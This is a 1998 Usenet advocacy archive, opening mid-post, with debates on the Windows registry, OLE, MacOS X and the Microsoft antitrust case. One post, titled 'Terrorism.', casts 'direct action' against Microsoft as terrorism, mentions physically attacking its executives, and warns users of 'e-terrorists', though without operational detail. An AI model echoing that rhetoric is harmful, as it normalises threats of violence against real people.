To me, as an administrator, it's worth it's weight in gold.
Regards...
From: "Sean" <sbiggs.REMOVE@.teleweb.net>
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
References: <36717987.21076075@news2.asan.com> <3671C70C.299F0F00@sagchip.com> <3671C95D.366D2F67@tone.ca> <3671fcae$0$226@nntp1.ba.best.com> <petrichF3uv7J.7w2@netcom.com> <3672a0d2.4373198@news2.asan.com> <36731A2F.8BB882A2@brown.edu> <36735f75.2443804@news2.asan.com> <3673796A.362778FC@brown.edu> <913564390.148534@soam.wwnet.net> <36750AB4.AE89FAE9@ix.netcom.com> <7571qh$q0a$1@news.campus.mci.net>
Subject: Re: M$: Really the Best Talent?
Organization: USA Best Net
Message-ID: <913779339.899180@soam.wwnet.net>
Cache-Post-Path: soam.wwnet.net!unknown@max3-160.pontiac.usabestnet.net
NNTP-Posting-Date: Tue, 15 Dec 1998 21:42:08 EDT
Date: Tue, 15 Dec 1998 21:40:40 -0500
Martin Ozolins wrote in message <7571qh$q0a$1@news.campus.mci.net>...
>I guess that's just an example of unfair business practices. MS made their
>code available and prevented all the other developers from making theirs
>available.
>
Not true. MS didn't prevent anyone from doing anything. OLE2 allows
applications to be infinitely extendible.
I can I embed a network diagram created using Visio into an illustration
created in MicroGrafix Designer. No MS apps involved. The Visio diagram is
very viewable to anyone with Designer. Oh yeah, I can edit the Visio
diagram using Visio and I never have to leave Designer. I have all Visio's
functionality (cool stencils) and all Designers functionality availible at
the same time. Basically OLE allows Designer to take advantage of Visio's
strengths.
OLE is pretty cool. I haven't seen anything like it on Unix. OLE is well
documented so none-MS apps can take advantage of it. Neither Visio nor
Micrografix need know anything about each others file structures. OLE acts
as a communications layer between the two. It's similar to Telnet not
caring whether it's communicating over Ethernet or Token Ring.
>
>Tim Kelley wrote in message <36750AB4.AE89FAE9@ix.netcom.com>...
>>Sean wrote:
>>
>>>
>>> That's just out and out not true.
>>>
>>> Windows apps are very extendible. Ever hear of OLE2? It's very
>powerful.
>>> Let's I want to add flowcharting capability to Word, all I have to do is
>>> install ABC Flowcharter. During ABC's installation, I get a prompt
>asking
>>> if I want to add Flowcharter's buttons to MS Office. If I say "Yes", I
>get
>>> a MicroGrafix's tool bar in my MS office apps. Then all I need to do is
>>> click on one of the buttons an I get full flowcharting capabilities in
>Word.
>>> It's even more flexible than that. I can distribute my word document
>with
>>> the embedded flowchart to people with Word but not ABC Flowcharter.
They
>>> can read the file with no loss of data. Simply by embedding the ABC
>>> Flowchart in my Word document, I've extended Word so that it can read
>ABC's
>>> file formats. I haven't seen anything like OLE on UNIX systems.
>>
>>So, does ABC Flowcharter support every other word processor and
>>spreadsheet out there in this way as well?
>>
>>The answer is of course no, and that should tell you what an absolute
>>mess this approach is.
>>
>>
>>--
>>Tim Kelley
>>tkelley@ix.netcom.com
>>New Orleans, LA
>
>
From: "Bjørnar Bolsøy" <bbolsoey@rl.telia.no>
Subject: Re: Registry Synchronization?
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
References: <36717987.21076075@news2.asan.com> <36755385.15185125@news2.asan.com> <36756390.0@uni-wuerzburg.de> <367576aa.24105942@news2.asan.com> <petrichF3z4KB.8uM@netcom.com> <KgAd2.393$eB2.831@news14.ispnews.com>
Message-ID: <01be28e4$2b1e1980$35f0ccc3@default>
Date: 16 Dec 98 02:07:03 GMT
Joe Cosby <joecosby@rycnun.seatac.net> wrote:
>
> To me, a monolithic registry is the height of stupidity. It is one
> of the main reasons I hope I never wind up buying a Wintel.
To me, as an administrator, it's worth its weight in gold.
Regards...
From: jedi@dementia.mishnet ()
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
Subject: Re: M$: Really the Best Talent?
Date: Tue, 15 Dec 1998 17:40:22 -0800
Organization: Posted via RemarQ, http://www.remarq.com
Message-ID: <slrn77e3s6.mch.jedi@dementia.mishnet>
References: <36717987.21076075@news2.asan.com> <36755385.15185125@news2.asan.com> <36756390.0@uni-wuerzburg.de> <367576aa.24105942@news2.asan.com> <367580b2.0@uni-wuerzburg.de> <36798742.1291229250@news.isomedia.com> <slrn77b627.cq2.jedi@dementia.mishnet> <756869$3or$1@news.asu.edu>
On Tue, 15 Dec 1998 11:08:03 -0700, Dmitry Streblechenko <dmitrys@-NoSpam-.asu.edu> wrote:
>
>> This tends to support my assertion that the Windows registry
>> is the MacOS (non-premptive multtasking, 'kinda' protected
>> memory) analog sort of toy database...
>
>
>And what exactly makes you think so? What features do you
>need that aren't already there? What problems do you have with
>the registry?
It's too easy to corrupt, it's not easy enough to
restore & too few tools are available to make up
for any of it's shortcomings.
--
Herding Humans ~ Herding Cats
Neither will do a thing unless they really want to, or you |||
is coerced to the point where it will scratch your eyes out / | \
as soon as your grip slips.
In search of sane PPP docs? Try http://penguin.lvcm.com
From: nojunkhattonr@aug.com (Rick)
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
Subject: Re: Microsoft vs. DOJ: who do *you* think is winning?
Date: Tue, 15 Dec 1998 21:58:20 -0500
Organization: Posted via RemarQ, http://www.remarQ.com - Discussions start here!
Message-ID: <19981215215820158473@ts4-54.aug.com>
References: <36717987.21076075@news2.asan.com> <g4Wc2.1137$c5.5119@news14.ispnews.com> <3676F1A9.8B679633@digiscape.com> <3676F666.9EB0E40C@ericsson.com>
Michael Peck <michael.peck@ericsson.com> wrote:
> In other words...people are getting what they want, regardless of your
> opinion.
>
> How disgusting. Since when have we been letting people just make their
> own damned decisions? Absolutely nauseating. Reminds me of all that
> "Give me Liberty or give me death!" crap the Founding Fathers were
> always spouting.
>
> MJP
People are buying whats in the stores. Period. They are buying "what
everyone else" is buying. Period.
.... "Give me Liberty or give me death!" ... crap??? Are you now
against a free and open society?
--
Remove nojunk from my email address to reply by email.
From: Jonathan W Hendry <jhendry@shrike.depaul.edu>
Subject: Re: No Slashdot Poll
Newsgroups: comp.sys.next.advocacy
References: <3676176A.6212EABF@nstar.net>
Message-ID: <36772321.0@news.depaul.edu>
Date: 16 Dec 98 03:04:01 GMT
Michael J. Peck <mjpeck@nstar.net> wrote:
> Rob Malda has posted two different polls since I requested a Yellow Box
> for Linux poll, so I assume that he has rejected the idea (I've received
> no reply to my e-mail).
For what it's worth, www.techweb.com / CRW is reporting that Apple
when Apple ships their upcoming G3 models, one available config
will include MkLinux installed. (Though these won't be available
through retail channels, they should be available through educational
channels, perhaps VARs, and perhaps the online store.)
I think that level of Linux support puts things in a different
light.
From: jsheehy@ix.netcom.com (John Sheehy)
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
Subject: Re: Microsoft vs. DOJ: who do *you* think is winning?
Date: Wed, 16 Dec 1998 03:44:00 GMT
Organization: ICGNetcom
Message-ID: <36882c3a.25888291@nntp.ix.netcom.com>
References: <36717987.21076075@news2.asan.com> <g4Wc2.1137$c5.5119@news14.ispnews.com> <3676F1A9.8B679633@digiscape.com> <3676F666.9EB0E40C@ericsson.com> <petrichF41BI1.68n@netcom.com>
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petrich@netcom.com (Loren Petrich) wrote:
>In article <3676F666.9EB0E40C@ericsson.com>,
>Michael Peck <michael.peck@ericsson.com> wrote:
>>How disgusting. Since when have we been letting people just make their
>>own damned decisions? [other such whining deleted...]
> We don't let muggers make their own decisions on whether to mug
>other people, don't we?
Don't give up your current occupation to become an "analogist". That
was one of the lamest analogies I've ever read.
--
<>>< ><<> ><<> <>>< ><<> <>>< <>>< ><<>
John P Sheehy <jsheehy@ix.netcom.com>
><<> <>>< <>>< ><<> <>>< ><<> ><<> <>><
From: sang@isomedia.com.remove.this.com (Sang K. Choe)
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
Subject: Re: Registry Synchronization?
Date: Wed, 16 Dec 1998 03:32:53 GMT
Organization: Posted via RemarQ, http://www.remarQ.com - Discussions start here!
Message-ID: <368526cf.1397611109@news.isomedia.com>
References: <36717987.21076075@news2.asan.com> <367576aa.24105942@news2.asan.com> <petrichF3z4KB.8uM@netcom.com> <KgAd2.393$eB2.831@news14.ispnews.com> <petrichF410LM.B7t@netcom.com>
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On Tue, 15 Dec 1998 21:48:58 GMT, petrich@netcom.com (Loren Petrich)
wrote:
>In article <KgAd2.393$eB2.831@news14.ispnews.com>,
>Joe Cosby <joecosby@rycnun.seatac.net> wrote:
>
> [on how to make the Windows Registry usable -- impose exclusive access]
>
> And not only that -- use database techniques to make it
>fail-safe. Arrange so that if some change to it is partially do
If you mean transaction-like submit/commit/rollback, than it already
does.
>>Or (IMHO) better yet by far, get rid of the registry. Store an app's stuff
>>in the root install directory of the app.
>
> Or else in some special "preferences" directory. The MacOS uses an
>OS-wide one, which is a bad design for multi-user systems; one could do
>some aliasing trick for multi-user duty, however. Unix and Unix-like
>systems put configuration files either in a user's home directory or in
>some subdirectory. The result is instant, clean multiuser configurability.
The registry supports multiuser--hence the reason why you have
HKEY_LOCAL_MACHINE, HKEY_CURRENT_CONFIG, HKEY_CURRENT_USER,
HKEY_USERS, etc... The local machine is system wide, current user is
for that specific user for whom the hive is loaded, the users contain
all of the HKEY_CURRENT_USER hive of all users on the system, and the
current config should be self-explanatory
> In fact, Nick Petreley once wrote a column about how this is a
>big weakness of Windows -- lack of good, portable multi-user support.
And ironically, one of the strength of the Registry is that it's
designed to support multiple users. Unfortunately, too many Win32
applications are written in such a way that user specific information
is stored in the same directory as the application. The end result is
that every user end up sharing the same information unless they want
to make a seperate copy of the same application in a different
directory.
On the otherhand, if the application used the HKEY_CURRENT_USER hive
to store user specific information, every user will have his/her own
specific information.
-- Sang.
----------------------------------------------
My views are my own.
Newsgroups: comp.sys.next.advocacy
Subject: Re: MacOS X and file associations, etc.
From: gbeggs@escape.ca (Gerry Beggs)
Message-ID: <1dk3lbk.lwg07t1nk4eo0N@tnt02dla191.escape.ca>
References: <jc403-1412980322310001@jxn.watt.rhno.columbia.edu> <F3ypM7.6ME@T-FCN.Net> <753r26$5e$1@news.xmission.com>
User-Agent: MacSOUP/2.4b3
Date: Wed, 16 Dec 1998 03:38:43 GMT
NNTP-Posting-Date: Tue, 15 Dec 1998 21:38:43 CDT
Organization: MBnet Networking Inc.
Don Yacktman <don@misckit.com> wrote:
> And now for the long, long answer to this...
<snip>
This sounds an awful lot like how Windoze operates.
I don't like it.
--
gbeggs@escape.ca http://www.escape.ca/~gbeggs
From: jsheehy@ix.netcom.com (John Sheehy)
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
Subject: Re: Registry Synchronization?
Date: Wed, 16 Dec 1998 03:38:27 GMT
Organization: ICGNetcom
Message-ID: <36872ae9.25550706@nntp.ix.netcom.com>
References: <36717987.21076075@news2.asan.com> <36755385.15185125@news2.asan.com> <36756390.0@uni-wuerzburg.de> <367576aa.24105942@news2.asan.com> <petrichF3z4KB.8uM@netcom.com> <KgAd2.393$eB2.831@news14.ispnews.com>
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joecosby@rycnun.seatac.net (Joe Cosby) wrote:
>Or (IMHO) better yet by far, get rid of the registry. Store an app's stuff
>in the root install directory of the app.
Many apps do, Joe. They keep their own setting in their own directory,
and put things in the registry that are relevant to other programs and
the system in general.
--
<>>< ><<> ><<> <>>< ><<> <>>< <>>< ><<>
John P Sheehy <jsheehy@ix.netcom.com>
><<> <>>< <>>< ><<> <>>< ><<> ><<> <>><
From: davewang@cslab.kecl.ntt.co.jp.DELETE.delete.DELETE@Glue.umd.edu (David T. Wang)
Newsgroups: comp.sys.mac.advocacy,comp.os.linux.advocacy,comp.sys.next.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
Followup-To: comp.sys.mac.advocacy,comp.os.linux.advocacy,comp.sys.next.advocacy
Date: 16 Dec 1998 04:07:37 GMT
Organization: University of Maryland, College Park
Message-ID: <757bm9$ro8$2@hecate.umd.edu>
References: <6026240AEA0457C7.7FEDAC96A1434CF4.0DCF4A809F8293D7@library-proxy.airnews.net> <7523tc$co2$7@hecate.umd.edu> <756j4t$ipl$1@flotsam.uits.indiana.edu> <757356$l89$3@hecate.umd.edu> <7575cs$lhr$1@jetsam.uits.indiana.edu>
Gregory Loren Hansen (glhansen@copper.ucs.indiana.edu) wrote:
: David T. Wang wrote:
: >
: >Well, as you might have discovered, the definition of a "good unix"
: >isn't universal. I've used with a few year's experience Solaris/SunOS,
: >AIX, NeXTStep, and a little bit of Linux and FreeBSD. What I would want
: >would be, as Mr Peck as put it, availability of apps, or, as I might
: >put it, ease of porting. (you may call it law of least astonishment if
: >you like) various unices have their respective strengths and weaknesses,
: >but It all comes down to a few things as far as I am concerned.
: >
: >1. Stability.
: > (I used to be able to take down SunOS with some regularity. try as I
: > might, I cannot take down AIX, nor have I seen anyone take down AIX,
: > and that's with some serious pounding.)
: This makes it a better Unix. When I gave the law of least astonishment as
: a criterion, I was thinking more in terms of it having any chance at all
: of diffusing into any Unix-oriented work environments. There's a lot of
: things Apple could potentially do, like remove all the shell tools and
: rework the file structure so it looks like traditional MacOS. And that
: would completely blow MacOS X's chances before we even look at things like
: stability.
: >2. Availability of Apps/ease of porting.
: > If we're talking about NeXTStep, it wasn't very good in this aspect.
: > Perhaps you can attribute this to my lack of hacking skills, but I
: > had more difficult time working to get things such as Perl running
: > properly under NeXTStep than Solaris/SunOS. I complained to a
: > friend of mine, and he muttered "bastardized BSD". However, this
: > was a good 4 years ago, so things could've changed dramatically for
: > better/worse.
: I've seen it described as "almost POSIX". Still, even being a bastardized
: BSD will help. Carbon wouldn't hurt, either.
Then NT qualifies. :) It's supposed to be Posix 1.0 compliant, IIRC.
: >3. Commonality with other unices. This is also sort of tied to your
: > "law of least astonishment" thing above. If I used some features
: > that I like in most unices, I'd like that to be there when I use
: > the "good unix". What immediately breaks MacOS X with other unices
: > is ofcourse the GUI. While this is necessary for the MacOS market,
: > it separates MacOS X from other "good unix".
: If MacOS X is at all Unixy, then the shell should be easy to replace. You
: might have to get your X libraries from a third party, which I think would
: be a mistake on Apple's part. But shouldn't it still be fairly routine to
: install KDE or something? How was NeXT in that respect?
There were X Windowing programs, although I wasn't aware of any X Libraries
for NeXTStep so that you can want to do XWindows development work on it.
In any case, I'm not qualified to discuss this aspect of NeXTStep. My
hacking experiences on NeXTStep were quite limited, and weren't very successful
I'm afraid.
: >IMO, even if my criteria are accepted, we still cannot judge MacOS X
: >as a "good unix" or not, since all we have to look at is NeXTStep,
: >and Apple/SJ may have added/removed features that would make certain
: >points completely moot. I think that all we can do is wait and see.
: Yeah, that's the one peice of advice that everyone must agree on. The
: only way to know for sure is to wait and see.
: --
: "Besides, it doesn't take much creativity or courage to figure out that
: something which reads 'Danger: Flammable' on the label might be fun to
: fool about with." -- Joris van Dorp
--
davewang@kagututi.kecl.ntt.co.jp.I.like.green.eggs.and.ham,not.spam
All statements are personal opinions
Not speaking for NTT or University of Maryland
Kyoto, Japan.
From: jinx6568@sover.net (Chris Johnson)
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
Subject: Terrorism.
Message-ID: <jinx6568-1512982325300001@arc1a20.bf.sover.net>
References: <36717987.21076075@news2.asan.com> <3673C094.7C814583@brown.edu> <3673de8f.1614090@news2.asan.com> <3675358B.87637823@ericsson.com> <petrichF40Gu1.n25@netcom.com> <3676B50C.4DC3479F@ericsson.com>
Organization: Airwindows
NNTP-Posting-Date: Tue, 15 Dec 1998 23:21:12 EDT
Date: Tue, 15 Dec 1998 23:24:47 -0500
In article <3676B50C.4DC3479F@ericsson.com>, Michael Peck
<michael.peck@ericsson.com> wrote:
>Loren Petrich wrote:
>> Are you proud of what a peasant you are?
>I think I rather am.
Poor fellow.
>> Also, would you prefer seeing direct action???
>Not quite sure what you mean. It sounds like you're emphasizing the
>difference between "direct" and "indirect", wherever that comparison
>comes from in this thread. The real distinction would be "who is
>partaking of said action, and why?". That question is rarely asked by
>those who concern themselves with the form and quantity of Power rather
>than its intent or (heaven forbid!) its limitations.
I know what he meant because he's using riffs I originated- 'direct
action' means 'terrorism'. If we can't get governments to get Microsoft
off our backs and stop it from killing or eating anything we might want to
have for ourselves, then we will simply have to turn terrorist or join
them. Turning terrorist isn't that difficult- for one, Microsoft is not
very good at protecting its people, and for another, whoever said you had
to use _MS_ lapses to attack MS users? Even if it was built like a tank
you could do what that Windows user group did to a Macintosh at a festive
gala event around 1996(?): smash the thing.
If you encourage terrorism as the only reasonable recourse to people
who want non-MS things (like travel agents, dictionaries, online banking,
operating systems, the WWW) then you're really stupid and you'll _get_
just that. You really don't seem to understand there are consequences to
these things, and that nobody yet has made a stirring Declaration of
E-Dependence claiming that because all people should use MS everything,
therefore it's not wrong to strangle all other computer-related choices
with dirty tricks and the use of economic forces as a weapon. Even if MS
didn't _suck_ this would still be a rotten way to live- with the sloppy
work MS does it's intolerable. They would have to be _perfect_ to even try
and justify that one. They don't, can't, _own_ computing. It's too
important...
Me, I don't care _how_ many people want to run Windows, as long as
there's no problem with my picking something else. That's not the case:
there _is_ such a problem, and picking anything else is substantially
penalized. This is a Mac user telling you this, I _know_. For this reason
part of my Mac use is a protest vote (not all, but part)- an objection
against the groupthink state of affairs that's slowly strangling the first
real chance the world's had for what McLuhan saw as a global village. It's
not always and forever only Microsoft- ANYBODY could be in that position,
and if Apple had 90% of computing and was throttling the rest, you'd
better believe I'd have a major problem with that. It's about power, not
about names or specifics...
Now, it seems to me that getting the government to help control this is
quite all right: in fact I don't give a flying fsck if they _do_ regulate
what you can't put in an operating system, as long as they can stop this
tyrant corporation from killing off all the ideas they don't own (they
want to fricking take, patent and restrict the method Woz used to get
seven colors on the HGR screen of the Apple II for crying out loud!! What
the hell is with that??) and setting up tollbooths every 25 feet on the
information superhighway (MS statie: pull over! So you don't have Windows,
eh? Well, you're under arrest, for reverse engineering MS protocols to let
your unlicensed 3rd party OS read MS data *takes you to E-jail* ;) )
Ya gotta joke about it, but this really isn't funny. When did MS get
more powerful and influential than most governments? If they get off
doesn't that mean they are more powerful than the US government? That's
what they'll think- these are the people who boasted that earlier
sanctions "won't change the way we do business at all". If a government
decided to try and resist them and produce some state-supplied OS and
products, how far would they be likely to get? I think people are way too
quick to make assumptions about who holds the power in society, and where
the real influence is.
For these reasons, there are a lot of people who are _watching_ to see
if the government is in fact able to look after their interests regarding
Microsoft. This isn't a foregone conclusion- a lot of us don't have a lot
of faith in government and the legal system. If that fails us? The
American Revolution was fought over frickin' _tea_, you know. Or at least
you could say it was, though you could also say it was over freedom. Well,
here we have an arena the size of the world, not just some country, in
which freedom to create, to work, to have that new idea and get somewhere
with it, is throttled by a tyrant- every bit as much as King George was
supposed to be a tyrant.
I figure I speak for a number of people when I say that electronic
freedom is not something to flush down the toilet for the sake of profit.
It's not doled out by a benevolent dictator or Mother Company. It starts
with individual people and their rights to their own property- electronic
property- perhaps even rights to pursue their own technical ideas and have
a fair shot at making their livings at it.
We tend to be geeky hacker type people, and the ones who are most aware
of this are the ones who _most_ lack lives outside of the monitor screen.
We're not innately violent people, or innately vicious- indeed, the
marketing divisions and managements of companies like Microsoft and Intel
are far more vicious than we appear to be. But corner us, marginalize and
commoditize us, cut off our techie resources, and finally cut off our
abilities to find recourse through the courts and governments of the
world, and you will see desperate geeky hacker type people- and we'll
fight.
Most people will say that in the electronic sphere, you have choices.
We have choices. Are _you_ willing to fight for them? I don't care if
somebody considers your choice a stupid choice- that's not an issue for
me- the question is, will you defend your choice, or are you hoping to
stay out of trouble by following what everybody else seems to be doing? If
so, you'd better _hope_ that the DoJ guts Microsoft and creates total
chaos in the industry. The DoJ is our point man, and there are others like
the EU elsewhere. IF the DoJ loses, the fight ain't over- and you'd better
expect things to get up close and personal. Your computer use is not
trivial- it is the forerunner of a new society of information and
communication- and when that turns into a war of attrition, and the
generals of the attacking force are unreachable (except through radical
means like physically attacking them somehow- and they do have bodyguards,
even now- the MS building is secure and the location of Gates' office, et
al, are not publically known)... well then, YOU are on the front lines!
You and your data are in the trenches, and you just stopped being a
bystander, Jack.
I hope you're comfortable with that, because it's either watch MS go
down under the DoJ (and then the next 'tyrant', and the next, and the
next...) or take your place on the front lines, and wonder why your choice
of web browser seems to bother certain people so much- and cry when they
find a way to _hurt_ you even though you made the safe choice.
I'd say letting MS take the fall for you is better, wouldn't you? Let
_them_ suffer for their hubris, not you. They're _going_ to be stopped one
way or another, by nice means or nasty ones- why should it involve you at
all? Vote for people who will take MS down a notch- and in doing so, keep
e-terrorists away from _you_, you MS user, you ;)
Chris Johnson
@airwindows.com
chrisj
From: John Jensen <jjens@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.os.linux.advocacy,comp.sys.next.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
Date: 16 Dec 1998 04:33:26 GMT
Organization: Primenet (602)416-7000
Message-ID: <757d6m$i7a$1@nnrp03.primenet.com>
References: <adtF3sBG8.Jss@netcom.com> <74qabb$nve$1@flotsam.uits.indiana.edu> <3670B38C.812ACA60@nstar.net> <joe.ragosta-1112980646160001@elk62.dol.net> <3671484B.5166335E@nstar.net> <199812120228251239508@ts4-19.aug.com> <3672F161.9A5BFCCE@nstar.net>
<19981213123438840862@ts2-18.aug.com> <7546k2$rhg$1@nnrp1.dejanews.com> <3675C7C4.861C5575@nstar.net> <F40J4r.4FE@T-FCN.Net> <7563lg$89l$1@nnrp03.primenet.com> <F40s2z.9EC@T-FCN.Net>
Maury Markowitz <maury@remove_this.istar.ca> wrote:
: I wrote:
: > To me the more interesting question (and more likely scenarilo) is what
: > will happen if Linux remains the outsider. What will the Linux desktop
: > look like in 3-5 years if it continues purely as a grass-roots family of
: > projects?
: Yes, good question. Frankly however I haven't seen anything in the
: projects I've seen so far that I find even remotely groundbreaking.
: They're all open/free/lefted versions of older projects, some simply to get
: around licencing (the whole CDE/KDE thing) and others to get at better
: software (GNUStep). Is there anything _truely_ amazing out there?
I took some time out to do a dejanews search. It looks to me like KDE
started in October of 1996. That's only a two month headstart on
Rhapsody. I think I see a lot of progress for two years out from the
starting blocks. Your mileage apparently varies.
There has been a lot of noise and (for the lack of a better word)
democracy in the Linux desktop race. This may mean that it will take a
little longer for a truely different system to develop.
In a traditional engineering organizion a designer can take a new vision
to management and, after convincing a small group of people, get a new
technique or technology (let's call it "foo") installed as a central
vision in the platform. "foo" is then implmented top to bottom and across
the board. If "foo" was the right technical choice, then everything is
grand. If "foo" was the wrong choice you may be in trouble. It may be
difficult to untangle yourself.
The thing about the Linux bazaar is that "foo", "bar", and "blech" all
reside side by side for a time. A designer's vision cannot spread outside
his project and across the whole platform without grass-roots acceptance.
Only slowly can a leader emerge. The down side is that it may take a while
for a good idea to percolate through various projects. The good side may
be that the best choices are ultimately made.
Which system works best? Let's watch the next few years and see.
John
From: John Jensen <jjens@primenet.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: No Slashdot Poll
Date: 16 Dec 1998 04:57:26 GMT
Organization: Primenet (602)416-7000
Message-ID: <757ejm$i7a$2@nnrp03.primenet.com>
References: <3676176A.6212EABF@nstar.net> <36772321.0@news.depaul.edu>
Jonathan W Hendry <jhendry@shrike.depaul.edu> wrote:
: For what it's worth, www.techweb.com / CRW is reporting that Apple
: when Apple ships their upcoming G3 models, one available config
: will include MkLinux installed. (Though these won't be available
: through retail channels, they should be available through educational
: channels, perhaps VARs, and perhaps the online store.)
: I think that level of Linux support puts things in a different
: light.
Sure. It used to be we didn't know where Apple was going this Rhapso ...
pardon me, with MacOS X Server. Now, in addition, we don't know where
Apple is going with Linux.
;-)
John
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
From: petrich@netcom.com (Loren Petrich)
Subject: Re: Registry Synchronization?
Message-ID: <petrichF4161I.KDB@netcom.com>
Organization: Netcom
References: <36717987.21076075@news2.asan.com> <petrichF3z4KB.8uM@netcom.com> <KgAd2.393$eB2.831@news14.ispnews.com> <petrichF410LM.B7t@netcom.com>
Date: Tue, 15 Dec 1998 23:46:30 GMT
Sender: petrich@netcom18.netcom.com
In article <petrichF410LM.B7t@netcom.com>,
Loren Petrich <petrich@netcom.com> wrote:
>In article <KgAd2.393$eB2.831@news14.ispnews.com>,
>Joe Cosby <joecosby@rycnun.seatac.net> wrote:
>
> [on how to make the Windows Registry usable -- impose exclusive access]
>
> And not only that -- use database techniques to make it
>fail-safe. Arrange so that if some change to it is partially do
Sorry, I forgot to complete my comments here. Here goes:
Arrange the writing of Registry changes so that if it gets only
partially done, it will not be left in some inconsistent or corrupted
state. At worst, it would be left in its previous state.
A way of doing it would be to create some conveniently-organized
catalog in one part of the Registry, and write all changes outside the
file blocks where the originals reside. Once those are written, one then
writes the new catalog info in one request (should be easy if it is only
one disk block).
--
Loren Petrich Happiness is a fast Macintosh
petrich@netcom.com And a fast train
My home page: http://www.petrich.com/home.html
From: "Martin Ozolins" <Martin.Ozollins@cwusa.com>
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
Subject: Re: M$: Really the Best Talent?
Date: Tue, 15 Dec 1998 20:44:03 -0800
Organization: CampusCWIX
Message-ID: <757dmq$3p9$1@news.campus.mci.net>
References: <36717987.21076075@news2.asan.com> <3671C70C.299F0F00@sagchip.com> <3671C95D.366D2F67@tone.ca> <3671fcae$0$226@nntp1.ba.best.com> <petrichF3uv7J.7w2@netcom.com> <3672a0d2.4373198@news2.asan.com> <36731A2F.8BB882A2@brown.edu> <36735f75.2443804@news2.asan.com> <3673796A.362778FC@brown.edu> <913564390.148534@soam.wwnet.net> <36750AB4.AE89FAE9@ix.netcom.com> <7571qh$q0a$1@news.campus.mci.net> <913779339.899180@soam.wwnet.net>
I know that, I was being sarcastic. I was bored with the uninformed
opinions that preceded my post.
Thanks for your response.
Sean wrote in message <913779339.899180@soam.wwnet.net>...
>
>Martin Ozolins wrote in message <7571qh$q0a$1@news.campus.mci.net>...
>>I guess that's just an example of unfair business practices. MS made
their
>>code available and prevented all the other developers from making theirs
>>available.
>>
>
>
>Not true. MS didn't prevent anyone from doing anything. OLE2 allows
>applications to be infinitely extendible.
>
>I can I embed a network diagram created using Visio into an illustration
>created in MicroGrafix Designer. No MS apps involved. The Visio diagram
is
>very viewable to anyone with Designer. Oh yeah, I can edit the Visio
>diagram using Visio and I never have to leave Designer. I have all Visio's
>functionality (cool stencils) and all Designers functionality availible at
>the same time. Basically OLE allows Designer to take advantage of Visio's
>strengths.
>
>OLE is pretty cool. I haven't seen anything like it on Unix. OLE is well
>documented so none-MS apps can take advantage of it. Neither Visio nor
>Micrografix need know anything about each others file structures. OLE acts
>as a communications layer between the two. It's similar to Telnet not
>caring whether it's communicating over Ethernet or Token Ring.
>
>>
>>Tim Kelley wrote in message <36750AB4.AE89FAE9@ix.netcom.com>...
>>>Sean wrote:
>>>
>>>>
>>>> That's just out and out not true.
>>>>
>>>> Windows apps are very extendible. Ever hear of OLE2? It's very
>>powerful.
>>>> Let's I want to add flowcharting capability to Word, all I have to do
is
>>>> install ABC Flowcharter. During ABC's installation, I get a prompt
>>asking
>>>> if I want to add Flowcharter's buttons to MS Office. If I say "Yes", I
>>get
>>>> a MicroGrafix's tool bar in my MS office apps. Then all I need to do
is
>>>> click on one of the buttons an I get full flowcharting capabilities in
>>Word.
>>>> It's even more flexible than that. I can distribute my word document
>>with
>>>> the embedded flowchart to people with Word but not ABC Flowcharter.
>They
>>>> can read the file with no loss of data. Simply by embedding the ABC
>>>> Flowchart in my Word document, I've extended Word so that it can read
>>ABC's
>>>> file formats. I haven't seen anything like OLE on UNIX systems.
>>>
>>>So, does ABC Flowcharter support every other word processor and
>>>spreadsheet out there in this way as well?
>>>
>>>The answer is of course no, and that should tell you what an absolute
>>>mess this approach is.
>>>
>>>
>>>--
>>>Tim Kelley
>>>tkelley@ix.netcom.com
>>>New Orleans, LA
>>
>>
>
>
Subject: Re: MacOS X and file associations, etc.
Newsgroups: comp.sys.next.advocacy
References: <jc403-1412980322310001@jxn.watt.rhno.columbia.edu> <F3ypM7.6ME@T-FCN.Net> <753r26$5e$1@news.xmission.com> <distler-1512981236450001@192.168.0.1>
In-Reply-To: <distler-1512981236450001@192.168.0.1>
From: paul <pb141@nospamherecolumbia.edu>
Message-ID: <bVCd2.506$eB2.1373@news14.ispnews.com>
NNTP-Posting-Date: Tue, 15 Dec 1998 19:11:51 EDT
Organization: ISPNews http://ispnews.com
Date: Wed, 16 Dec 1998 00:11:51 GMT
...
